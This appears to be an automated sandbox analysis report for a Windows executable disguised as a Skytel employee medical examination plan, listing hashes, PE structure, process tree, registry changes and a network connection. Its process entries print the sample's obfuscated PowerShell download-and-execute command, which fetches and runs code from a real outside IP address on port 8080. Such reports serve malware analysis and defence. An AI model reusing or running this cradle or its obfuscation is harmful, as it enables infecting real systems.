| File name: | 2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe |
| Full analysis: | https://app.any.run/tasks/35d18a05-896a-45a3-95ad-306a78aaf9e0 |
| Verdict: | Malicious activity |
| Analysis date: | May 19, 2020, 07:06:09 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (console) Intel 80386, for MS Windows |
| MD5: | 81AAC5D70CC32C401DFF0CCBA6ED2780 |
| SHA1: | 5A6A24FA0B0BC337A5582D1A4FCB2F70B7483729 |
| SHA256: | 7B8D4F38337AEFA4010E1BD7214E2DF62DB77E7928255C74577EDB1C5A479B32 |
| SSDEEP: | 384:55tDBOUnv1c7mluDWFB9PnyyxEru5oKciWaLwEVwVW:LtDwUStDYnyYqu5oS/LwiwM |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 404)
SUSPICIOUS
Uses RUNDLL32.EXE to load library
- 2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe (PID: 2120)
Creates files in the user directory
- powershell.exe (PID: 2184)
Starts CMD.EXE for commands execution
- rundll32.exe (PID: 3152)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (42.2) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (37.3) |
| .dll | | | Win32 Dynamic Link Library (generic) (8.8) |
| .exe | | | Win32 Executable (generic) (6) |
| .exe | | | Generic Win/DOS Executable (2.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2020:05:11 04:44:40+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 6 |
| CodeSize: | 12288 |
| InitializedDataSize: | 16384 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x10b0 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows command line |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_CUI |
| Compilation Date: | 11-May-2020 02:44:40 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000D0 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 4 |
| Time date stamp: | 11-May-2020 02:44:40 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000287E | 0x00003000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 5.89343 |
.rdata | 0x00004000 | 0x000007B4 | 0x00001000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.12639 |
.data | 0x00005000 | 0x000008FC | 0x00001000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.36222 |
.rsrc | 0x00006000 | 0x00001D60 | 0x00002000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.13054 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.45361 | 7336 | UNKNOWN | English - United States | RT_ICON |
101 | 1.91924 | 20 | UNKNOWN | English - United States | RT_GROUP_ICON |
Imports
KERNEL32.dll |
SHELL32.dll |
USER32.dll |
Total processes
43
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 404 | "C:\Windows\system32\cmd.exe" "/c powershell ""$a=\"ixX (Nxw-Objxct Nxt.WxbClixnt).\".Replace(\"x\",\"e\");$b=\"Down\";$c=$b+\"loadString('http9//61743724276698080/hello');\".Replace(\"7\",\".\").Replace(\"9\",\":\")"; iex ($a + $c)" | C:\Windows\system32\cmd.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2120 | "C:\Users\admin\AppData\Local\Temp\2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe" | C:\Users\admin\AppData\Local\Temp\2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2184 | powershell ""$a=\"ixX (Nxw-Objxct Nxt.WxbClixnt).\".Replace(\"x\",\"e\");$b=\"Down\";$c=$b+\"loadString('http9//61743724276698080/hello');\".Replace(\"7\",\".\").Replace(\"9\",\":\")"; iex ($a + $c)" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3152 | "C:\Windows\System32\rundll32.exe" SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c powershell ""$a=\"ixX (Nxw-Objxct Nxt.WxbClixnt).\".Replace(\"x\",\"e\");$b=\"Down\";$c=$b+\"loadString('http9//61743724276698080/hello');\".Replace(\"7\",\".\").Replace(\"9\",\":\")"; iex ($a + $c)" | C:\Windows\System32\rundll32.exe | — | 2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
362
Read events
287
Write events
75
Delete events
0
Modification events
| (PID) Process: | (3152) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3152) rundll32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2120) 2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2120) 2020 Skytel Employee Medical Examination Planing for All Employee Position with Skycc.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2184) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12D\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2184) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (2184) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (2184) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2184) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (2184) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
Executable files
0
Suspicious files
2
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2184 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F8QKJVK8FAFAVQUNXBOS.temp | — | |
MD5:— | SHA256:— | |||
| 2184 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2184 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFabcb8d.TMP | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2184 | powershell.exe | 61.43.242.66:8080 | — | LG DACOM Corporation | KR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dns.msftncsi.com |
| shared |